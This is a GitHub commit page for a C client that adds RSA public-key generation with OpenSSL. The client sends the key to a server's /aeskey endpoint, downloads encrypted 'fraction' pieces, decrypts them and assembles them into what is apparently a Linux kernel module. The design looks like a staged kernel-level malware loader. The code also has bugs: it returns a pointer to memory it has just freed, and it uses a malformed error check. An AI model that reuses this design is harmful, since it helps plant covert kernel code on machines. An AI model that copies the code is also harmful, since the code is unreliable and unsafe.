Skip to content

Commit

Permalink
[WIP] First instance it seems that the creation of RSA key works fine
Browse files Browse the repository at this point in the history
  • Loading branch information
S0S4 committed Oct 8, 2024
1 parent 1c19feb commit 41ecc3a
Show file tree
Hide file tree
Showing 4 changed files with 57 additions and 8 deletions.
Binary file modified client/client
Binary file not shown.
7 changes: 5 additions & 2 deletions client/include/cipher.h
Original file line number Diff line number Diff line change
@@ -1,20 +1,23 @@
#ifndef cipher_h
#define cipher_h

#define OPENSSL_API_COMPAT 30000

#include "../include/fraction.h"

#include <openssl/ssl.h>
#include <openssl/aes.h>
#include <openssl/conf.h>
#include <openssl/evp.h>
#include <openssl/err.h>

#include <openssl/provider.h>
#include <openssl/pem.h>

typedef struct{
unsigned char *decryptedtext;
size_t text_size;
} decrypted;

decrypted *decrypt_fraction(fraction_t *fraction);

char *generate_publickey(void);
#endif
46 changes: 46 additions & 0 deletions client/src/cipher.c
Original file line number Diff line number Diff line change
@@ -1,5 +1,7 @@
#include "../include/cipher.h"
#include "../include/fraction.h"
#include <openssl/evp.h>
#include <openssl/rsa.h>

decrypted decryptedstr;

Expand Down Expand Up @@ -59,3 +61,47 @@ decrypted *decrypt_fraction(fraction_t *fraction){
return &decryptedstr;
}

char *generate_publickey(void){

EVP_PKEY *pkey = NULL;
EVP_PKEY_CTX *pctx = NULL;

pctx = EVP_PKEY_CTX_new_from_name(NULL, "RSA", NULL);
if(pctx == NULL){
handleErrors();
return NULL;
}
if(EVP_PKEY_keygen_init(pctx) <= 0){
handleErrors();
EVP_PKEY_CTX_free(pctx);
return NULL;
}
if(EVP_PKEY_CTX_set_rsa_keygen_bits(pctx, 2048) <= 0){
handleErrors();
EVP_PKEY_CTX_free(pctx);
return NULL;
}

if(EVP_PKEY_generate(pctx, &pkey) <= 0){
handleErrors();
EVP_PKEY_CTX_free(pctx);
return NULL;
}
EVP_PKEY_CTX_free(pctx);

BIO *bio = BIO_new(BIO_s_mem());

if(PEM_write_bio_PUBKEY(bio,pkey) <= 0){
handleErrors();
EVP_PKEY_free(pkey);
BIO_free(bio);
return NULL;
}

char *pem_key = NULL;
long pem_len = BIO_get_mem_data(bio,&pem_key);

BIO_free(bio);

return pem_key;
}
12 changes: 6 additions & 6 deletions client/src/main.c
Original file line number Diff line number Diff line change
Expand Up @@ -7,7 +7,6 @@
#include "../include/sock.h"
#include "../include/utils.h"
#include "../include/log.h"
#include "../include/cipher.h"
#include "../include/load.h"


Expand Down Expand Up @@ -60,6 +59,10 @@ int main(void) {
}
freeaddrinfo(ainfo);

if (http_post(sfd, "/aeskey","text/plain",generate_publickey(),&http_post_res) != HTTP_SUCCESS) {
log_error("Failed to send RSA Public Key\n");
goto cleanup;
}
if (http_get(sfd, "/", &http_fraction_res) != HTTP_SUCCESS) {
log_error("Failed to retrieve fraction links\n");
goto cleanup;
Expand Down Expand Up @@ -105,18 +108,15 @@ int main(void) {

for (int i=0; i<lines_read; i++) {print_fraction(fractions[i]);}

if(module == create_lkm(num_links,fractions) < 0){
log_error("There was an error creating the lkm");
if(module == create_lkm(num_links,fractions) != 0){
log_error("There was an error creating the module");
}


http_free(&http_post_res);
http_free(&http_fraction_res);
cleanup_char_array(fraction_links, num_links);
cleanup_fraction_array(fractions, lines_read);

// send_publickey(sfd,rsa);

close(sfd);
return EXIT_SUCCESS;

Expand Down

0 comments on commit 41ecc3a

Please sign in to comment.